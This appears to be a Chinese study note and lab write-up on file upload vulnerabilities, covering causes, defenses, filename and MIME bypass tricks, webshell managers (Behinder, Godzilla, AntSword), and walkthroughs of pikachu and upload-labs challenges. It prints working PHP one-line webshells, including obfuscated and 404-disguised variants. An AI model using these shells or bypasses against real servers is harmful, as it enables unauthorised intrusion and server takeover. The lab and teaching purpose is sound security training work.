目录
知识点
文件上传漏洞
定义
文件上传漏洞通常是由于程序缺乏对用户上传文件的类型进行合理的校验,导致攻击者可以上传自己想要上传的恶意文件,攻击者可以通过该漏洞获取webshell权限、进行XSS攻击、实施dos攻击等恶意操作。
原理
文件上传漏洞的产生主要源于以下几个方面:
未对上传文件类型进行有效验证:开发者在开发过程中,如果没有对上传文件的类型进行严格验证,或者仅在客户端(如通过JavaScript)进行验证,攻击者就可以通过修改文件类型或绕过验证机制来上传恶意文件。
服务器端文件类型验证不严格:即使客户端进行了文件类型验证,服务器端也应该进行进一步的验证,以确保文件的安全性。如果服务器端验证不严格或存在漏洞,攻击者仍然可以上传恶意文件。
未对文件内容进行安全检查:有些情况下,即使文件类型看似正常,但其内容可能包含恶意代码。如果服务器没有对文件内容进行安全检查,这些恶意代码就可能被执行。
上传后的文件可被直接访问执行:如果上传的文件被存储在Web服务器可访问的目录下,并且服务器配置不当允许执行这些文件,那么攻击者就可以通过URL直接访问并执行这些文件。
文件存储路径可被猜测或遍历:如果攻击者能够猜测或遍历到上传文件的存储路径,他们就可能直接访问并执行这些文件,或者上传新的恶意文件来覆盖原有文件。
防御手段
将文件上传的存储位置与服务器分离;
修改上传的文件名和文件后缀,根据业务进行分离;
设置文件上传目录为不可执行;
判断文件类型,使用MIME Type和后缀检查;
使用随机数改写文件名和文件路径;
单独设置文件服务器的域名;
使用安全设备防御;
更详细的阐述参考:文件上传漏洞原理、绕过、与防御 - wsgdsb - 博客园 (cnblogs.com)
绕过手段
修改MIME
MIME(Multipurpose Internet Mail Extensions),即多用途互联网邮件扩展,是一种用于标识文件内容类型的标准。这个标准最初是为电子邮件系统设计的,以允许在电子邮件消息中嵌入多种类型的数据,如图像、音频、视频文件以及非ASCI字符文本等。随着互联网的发展,MIME的应用范围逐渐扩展到其他互联网协议,如HTTP(用于在Web上传输数据)常用MIME
文件类型 | 后缀名 | MINE |
超文本标记语言文本 | .html | text/html |
普通文本 | .txt | text/plain |
PDF文档 | application/pdf | |
word文档 | .doc/docx | application/msword |
PNG图片 | .png | image/png |
GIF图片 | .gif | image/gif |
JPEG图片 | .jpeg | image/jpeg |
tar文件 | .tar | application/x-tar |
更多详见:MIME 类型大全,你值得收藏 - 知乎 (zhihu.com)
修改前端is文件
开发者有时会增加前端校验代码,在上传文件之前进行前端校验文件,且禁用JS后接口将无法正常工作,无法禁用可以使用修改js文件的方式来进行绕过。常用的校验文件的函数的命令有: checkfile()或uploadcheck()等,需要根据经验判断。
修改文件后缀名
在上传时,后端有时会通过检查后端文件名进行过滤,如果存在疑似恶意文件的后缀名,将会直接重置连接或者对文件进行初始化处理。为了绕过这种情况,我们以php文件为例,假设后端禁止或会初始化所有php文件的上传,我们常通过使用大小写、双写或利用中间件解析漏洞进行绕过。比如Php、.php2-7、.phps、.pht .phtm .phtml .pgif .shtml .htaccess .phar .inc .hphp.ctp .module.
filename换行
#第一种:
Content-Disposition:form-data;name="file"; filename="1.php"
#第二种:
Content-Disposition:form-data;name="file";file
name="1.php"
#第三种:
Content-Disposition:form-data;name="file";filename="1.php"
filename多等号
Content-Disposition:form-data; name="file"; filename==="a.php"
无双引号或单引号
#第一种:
Content-Disposition:form-data;name=file1; filename=a.php
#第二种:
Content-Disposition:form-data;name='file1'; filename="a.php"
多个filename
Content-Disposition: form-data; name="file"; filename= ; filename="a.php"
windows特性
在window中,如果使用文件名+"::$DATA”,会把:$DATA之后的数据当成文件流处理,不会检查后缀名,且保持::$DATA之前的文件名,目的就是不检查后缀名。
Content-Disposition:form-data; name="file"; filename="1.php::$DATA'
二次渲染绕过
一般是我们在使用上传图片后,发现webshell无法连接,再次下载后发现文件被损坏或被初始化,可以通过010editor查看受损坏的部分,寻找不会被初始化部分,将webshell插入到该部分
一句话木马
普通一句话
<?php
@eval($_POST[123456]);
?>
post后面中括号里面的内容是使用菜刀或蚁剑连接时的密码
防爆破一句话
<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
*菜刀地址http://192.168.64.137/x.php?x=myh0st
过狗一句话
<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> //菜刀地址 http://localhost/1.php?s=assert
<php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>
404隐藏一句话
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server. </p>
</body></html>
<?php
@preg_replace("/[checksql]/e",$_POST['hihack'],"saft");
?>
详见常见的一句话木马 - GoodGad - 博客园 (cnblogs.com)
上传文件无回显查找方法
字典爆破
根据经验,文件上传后,文件有时会直接以文件名的形式放在专属的upload目录中,通常是/upload/1.php,有时会加上当前日期,比如/upload/2024-01-01/1.php,或者其他不修改文件名但是存放到其他目录的形式。这个时候我们通常需要一个专属字典进行访问。
时间戳枚举
在渗透测试过程中,有些文件后,会以上传时间的时间戳为名称来进行重命名,我们需要根据时间戳来命名。通常我们会以响应包中的Date字段为参照时间进行枚举。
from datetime import datetime
#从字符串转换
date_str = "2024-09-01 12:00:00"
date_obj = datetime.strptime(date str,"%Y-%m-%d %H:%M:%S")
timestamp =date obj.timestamp()
print(timestamp)
#直接使用datetime.now()获取时间戳
now_timestamp = datetime.now().timestamp()
print(now_timestamp)
在powershell中也可以获得当前时间时间戳
获取到时间戳后我们通常枚举时间戳的后5位或6位数字,同时还有另一种时间戳的形式
我们也可通过在线的时间戳转换网站进行获取:在线时间戳转换工具 (beijing-time.org)
无参/有参情况下构造表单方法
无参文件上传表单
无参文件上传表单非常简单,仅包含一个<input type="file">元素让用户选择文件,以及一个提交按钮,模板如下:
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" id="file" name="file">
<button type="submit">上传</button>
</form>
实例如下:
有参文件上传表单
有参文件上传表单在基础的无参表单上增加了额外的输入字段,这些字段可以是文本输入、选择框等,用于传递更多信息,模板如下:
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="description">文件描述:</label>
<input type="text" id="description" name="description">
<label for="file">选择文件:</label>
<input type="file" id="file" name="file">
<button type="submit">上传</button>
</form>
实例如下:
存储桶
文件存储桶(Bucket)是对象存储系统中的一个核心概念,起源于Amazon S3(Simple Storage Service),并被其他对象存储解决方案(如MinIO、Google Cloud Storage等)广泛采用。以下是关于文件存储桶的详细解释:
定义
文件存储桶是用于组织和管理在对象存储服务中存储的数据(即对象)的逻辑单位。它相当于一个高度可配置和可扩展的“文件夹”,但与传统文件夹不同,存储桶可以拥有更多的元数据和访问控制策略。
原理
文件存储桶的原理主要体现在以下几个方面:
数据分片:为了提高数据处理和存储效率,文件存储桶会将大量的数据进行分片,每个分片被称为一个bucket。这样做可以并行处理多个bucket,从而提高处理速度。
分布式存储:在实际应用中,通常会有多个服务器或节点,每个节点上都会存储一部分的bucket。这种分布式存储方式可以提高数据的可用性和可靠性,即使某个节点出现故障,其他节点上的数据仍然可以正常访问。
负载均衡:通过使用bucket,可以将用户的请求均匀地分配到各个节点上,从而避免某个节点的负载过大,导致系统的性能下降。负载均衡器会实时监控每个节点的负载情况,并根据这些信息来决定将新的请求分配到哪个节点上。
数据一致性:Bucket还用于保证数据的一致性。当一个节点上的数据被修改时,这个修改会被复制到其他所有的节点上,确保用户在任何节点上读取到的数据都是最新的。
作用
文件存储桶在数据存储和管理中发挥着重要作用,具体表现在以下几个方面:
组织和管理数据:存储桶作为数据的逻辑容器,用于组织和存放相关的数据对象。每个存储桶都有一个全局唯一的名称,并且通常用于存放一组相关的数据。
提高可扩展性:由于没有目录结构的限制,存储桶可以轻松地存储和访问数十亿个对象。这使得对象存储系统比传统的文件系统具有更高的可扩展性。
灵活性:虽然对象存储系统采用扁平化结构,但可以通过在键中使用分隔符来模拟目录结构,方便数据的组织和管理。
配置访问控制策略:每个存储桶都可以配置不同的访问控制策略,如读写权限、版本控制、生命周期管理等,以满足不同的数据安全和合规性要求。
成本效益:对象存储系统通常比传统的文件系统或关系数据库更具成本效益,特别是在处理大量非结构化数据时。通过创建多个存储桶来组织和管理这些数据,可以进一步优化存储成本和提高存储效率。
文件存储桶是对象存储系统中的一个重要组成部分,它通过数据分片、分布式存储、负载均衡和数据一致性等原理,提高了数据的处理效率、存储效率、可用性和可靠性。同时,存储桶还提供了灵活的数据组织和管理方式以及丰富的访问控制策略配置选项,为数据存储和管理带来了极大的便利和效益。
时间戳
时间戳(Timestamp)是一个用于表示特定时间点的数值或字符串,它通常表示从某一固定时间点(如Unix纪元,即1970年1月1日00:00:00 UTC)到该时间点所经过的秒数、毫秒数或更小的单位,在计算机科学中,时间戳广泛应用于各种系统和应用中,通过时间戳,我们可以方便地记录、排序、查询和比较时间信息,从而支持各种系统和应用的时间管理和分析需求。
定义:时间戳是一种在计算机系统中表示特定时间点的标准格式,通常是一个整数或字符串,表示自某个基准时间以来经过的时间长度。
特点:在计算机科学中,时间戳是一个单调递增的值,用于记录和比较事件发生的顺序;时间戳的单位可以是秒、毫秒、微秒或纳秒等,具体取决于应用场景和精度要求;并且时间戳在操作系统、数据库、网络通信、日志记录和文件管理等众多领域都有广泛的应用。
作用:时间戳最基本的作用是记录某个事件的发生时间或文件的创建、修改时间等信息;通过时间戳,我们可以方便地对事件进行排序、查询和比较,从而更好地管理和分析数据;在网络通信中,时间戳可以用于时间同步,确保不同系统之间的时间一致性;另一方面在数据交换和存储过程中,时间戳可以用于验证数据的完整性和新鲜度,防止数据被篡改或重放。
表示方式:时间戳可以用不同的方式表示,如整数、浮点数、字符串等;在不同的编程语言和操作系统中,时间戳的表示方式也可能不同;例如,在Unix/Linux系统中,时间戳通常是一个整数,表示从Unix纪元开始的秒数。
时间戳的转换:我们可以使用各种编程语言和工具将时间戳转换为人类可读的时间格式(如年月日时分秒),也可以将人类可读的时间格式转换为时间戳,以便于计算机处理;这种转换通常涉及到时间函数或库的调用,具体实现方式取决于所使用的编程语言和平台。
冰蝎、哥斯拉、蚁剑使用方法
冰蝎(Behinder)
由于冰蝎是基于java开发的,我们可以直接打开Behinder.jar文件,或是使用命令行打开冰蝎
配置冰蝎代理为BP,使用BP查看流量包传输
使用冰蝎测试连接保存在Pikachu的木马shell.php
BP查看流量包传输情况,当冰蝎向shell.php文件发起连接时,会传输两个包,两包传输类型为POST,MINE类型分别为text和script
哥斯拉(Godzilla)
和冰蝎一样,哥斯拉也是基于java开发的,我们可以直接打开godzilla.jar文件,或是使用命令行打开
这里我们先使用Wireshark进行抓包,查看其三次握手过程,将godz_1.php文件放入pikachu目录并配置代理后,我们使用哥斯拉对其进行测试连接
使用Wireshark进行抓包,观察哥斯拉流量包传输过程,可以发现其连接建立方式是基于TCP三次握手实现的,同时还有四次挥手过程:(客户端:26040,服务端:80)
三次握手
第一次握手。客户端发送一个SYN报文(请求连接),指定一个初始的序列号(Seq=0),并进入SYN_SENT状态,等待服务器确认。
第二次握手。服务器收到SYN报文后,会回复一个SYN+ACK报文。这个报文既包含一个SYN报文(表示同意连接请求),也包含一个ACK报文(确认收到客户端的SYN报文),序列号设置为服务器的初始序列号(Seq=0),确认序列号设置为客户端的序列号加1(Ack=Seq+1=1),然后服务器进入SYN_RECV状态。
第三次握手。客户端收到服务器的SYN+ACK报文后,向服务器发送一个ACK报文,确认收到服务器的SYN报文,并进入ESTABLISHED状态。此时,服务器收到ACK报文后,也进入ESTABLISHED状态,完成TCP三次握手过程。
四次挥手
客户端向服务器发送FIN(结束)报文,表示客户端不再发送数据。客户端进入FIN-WAIT-1状态。
步骤2:服务器接收到FIN报文后,发送一个ACK报文作为确认。服务器进入CLOSE-WAIT状态。此时,服务器可以继续发送数据。
步骤3:当服务器不再发送数据时,发送一个FIN报文给客户端,表示服务器也准备关闭连接。服务器进入LAST-ACK状态。
步骤4:客户端接收到服务器的FIN报文后,发送一个ACK报文作为最后的确认。客户端进入TIME-WAIT状态。在该状态下,客户端等待一段时间,以确保服务器收到ACK报文,并且可以处理可能重传的最后一个ACK。
使用BP抓包,观察哥斯拉流量包传输方式
蚁剑(AntSword)
安装蚁剑,下载并解压代码库到同目录
新建数据,URL地址为木马位置,连接密码为一句话密码中的POST['']中的内容,连接类型选择PHP,测试连接
这里我们同样使用wireshark对其流量包进行抓取,发现蚁剑连接方式同样也是三次握手,同时还有四次挥手(客户端:26331,服务端:80)
然后再用BP抓取,观察流量包传输内容及其响应
靶场实战
pikachu靶场
第一关
进入第一关有一个文件上传的按钮,选择文件后直接上传php文件,弹窗提示文件不符合要求
我们可以先了解客户端验证的绕过方法,客户端验证一般两种绕过方法,一是浏览器禁用javascript,二是burpsuite抓包改后缀,先尝试禁用javascript方式,禁用后直接上传成功
选择改后缀的方法,把shell.php文件名改shell.png,上传过程中burpsuite抓包
BP抓包,发送到重放器,再将shell.png修改为shell.php,上传成功
第二关
选择文件上传,查看响应,根据提示,先将shell.php修改为shell.png,选择上传
BP开启拦截,在抓到的请求包中,将shell.png重新修改为shell.php,成功上传
Upload_labs靶场
第一关
本次实战均用的冰蝎默认木马
先直接上传文件,发现弹窗提示文件格式不允许上传
有了弹窗就说明是前端校验方式,同样可以采用两种方式,先尝试禁用javascript,禁用后直接上传成功
使用BP抓包修改格式方式,同样先将shell.php改为shell.png,选择上传
BP抓到包后发送到重放器,重新将shell.png修改为shell.php,发送后成功上传
尝试连接,成功,完成
第二关
尝试上传php,发现没有弹窗,而是页面回显,说明不再是前端校验
先查看网页源代码,发现允许类型有img
使用BP抓包,抓到后发送到重放器,修改Content Type为image/png,发送,成功上传
第三关
尝试上传shell.php,提示如下,由于上传格式黑名单并不全面,因此我们可以尝试通过使用大小写、双写或利用中间件解析漏洞进行绕过。比如Php、.php2-7、.phps、.pht .phtm .phtml .pgif .shtml .htaccess .phar .inc .hphp.ctp .module等
我们将shell.php修改为shell.php5,直接上传,成功
第四关
上传文件试试,同样是回显信息,但是这次没有提示不允许上传的文件类型
查看网页源代码,检查不允许上传文件类型
由于黑名单中文件格式太多,基本无法采用常规方式绕过,这时候我们可以尝试采用用.htaccess文件上传,首先创建一个.htaccess文件内容如下,并且启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。
<FilesMatch "shell.png">
SetHandler application/x-httpd-php
该文件的作用是,如果文件里面有一个shell.png的文件,就会被解析成shell.php。先上传一个shell.png文件
然后上传.htaccess
浏览器访问shell.png,由于个人环境原因,这种方式怎么样都行不通
于是我们寻找另一种方法,利用windows特性,以及deldot()函数的特性:从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来,文件加上后缀. .(点+空格+点),上传文件之后,deldot()函数去掉一个点后遇到空格停下来,文件变为*.php.,而windows系统会自动去掉剩下的一个点,就重新变成了*php,因此我们BP抓包后修改文件后缀,成功上传
尝试连接,成功
第五关
一样的步骤,先上传文件,回显信息,没返回黑名单
查看网页源代码,发现黑名单依旧很多
尝试和第四关一样的解法,BP抓包,修改后缀发送,成功上传
尝试连接,成功
注:第五关的严谨解法应是利用.ini.,因为. .绕过仅限于服务器是windows系统,若是linux系统将无法绕过,但由于.ini.方法过于复杂,这里直接使用. .空格;相关知识普及如下(百度):
user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
.htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中只有含PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI设置可被识别;两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用;user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是.user.ini。user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。但是想要引发 .user.ini 解析漏洞需要三个前提条件:
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
什么是 CGI
CGI 的全称为“通用网关接口”(Common Gateway Interface),为 HTTP 服务器与其他机器上的程序服务通信交流的一种工具, CGI 程序须运行在网络服务器上;传统 CGI 接口方式的主要缺点是性能较差,因为每次 HTTP 服务器遇到动态程序时都需要重新启动解析器来执行解析,之后结果才会被返回给 HTTP服务器。这在处理高并发访问时几乎是不可用的,因此就诞生了 FastCGI。另外,传统的 CGI 接口方式安全性也很差,故而现在已经很少被使用了。
什么是 FastCGI:FastCGI 是一个可伸缩地、高速地在 HTTP 服务器和动态服务脚本语言间通信的接口(在 Linux 下, FastCGI 接口即为 socket,这个socket 可以是文件 socket,也可以是IP socket),主要优点是把动态语言和 HTTP服务器分离开来。多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache 、 Nginx 和 Lighttpd 等。
同时,FastCGI也被许多脚本语言所支持,例如当前比较流行的脚本语言PHP。FastCGI 接口采用的是C/S架构,它可以将 HTTP 服务器和脚本服务器分开,同时还能在脚本解析服务器上启动一个或多个脚本来解析守护进程。当 HTTP服务器遇到动态程序时,可以将其直接交付给 FastCGI 进程来执行,然后将得到结果返回给浏览器。这种方式可以让 HTTP服务器专一地处理静态请求,或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高整个应用系统的性能。
第六关
一样,尝试上传文件,依然是回显上传失败
查看网页源代码,黑名单依然很多,但与第四关、第五关相比,这里还包含了htaccess和ini,说明第四关第五关确实分别应该用htaccess和ini绕过,但经过观察,这里少了strtolower()函数,即我们可以尝试大小写绕过
BP抓包修改文件格式为.Php,发送,成功上传文件,但文件名被修改为了时间戳
同理也可使用. .绕过,但绕过后文件没有了后缀名,且文件名变为时间戳
第七关
这次直接观察源代码,黑名单依旧很多,但是仔细观察发现没有过滤空格,即.php
BP抓包修改格式,将shell.php改为shell.php ,成功上传,完成
第八关
观察源代码,对比之前几关的代码发现,本关没有使用deldot()函数删除文件最后的.,因此可以使用点号绕过
BP抓包修改请求,将shell.php改为shell.php.,成功上传,由于windows机制,点被自动省略,(同. .),所以此次文件并未被重命名成时间戳形式,完成
尝试访问,成功
第九关
查看源代码,对比发现这次的代码中少了去除字符串::$DATA语句,:$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名,目的就是不检查后缀名;因此我们可以在上传文件之后加上::$DATA关键字,之后不加任何语句,从而使后端不检查::$DATA之前文件,即shell.php的后缀
BP抓包修改请求,将shell.php改为shell.php::$DATA,成功上传,完成
尝试访问,成功
第十关
查看源代码,对比发现这次的黑名单包含了前几关所有落下的可绕过方法,似乎除了. .绕过没有其他方法
但是聪明的我想到了之前做XSS靶场时的双写绕过,在这个题中试试pphphp,中间的php被过滤掉后,剩下的又变为了php
BP抓包修改,将shell.php改为shell.pphphp,发送,成功上传,完成,我真是太聪明了^_^
另外一个方式还是用. .方式绕过,BP抓包修改,发送,成功上传,完成
尝试访问,成功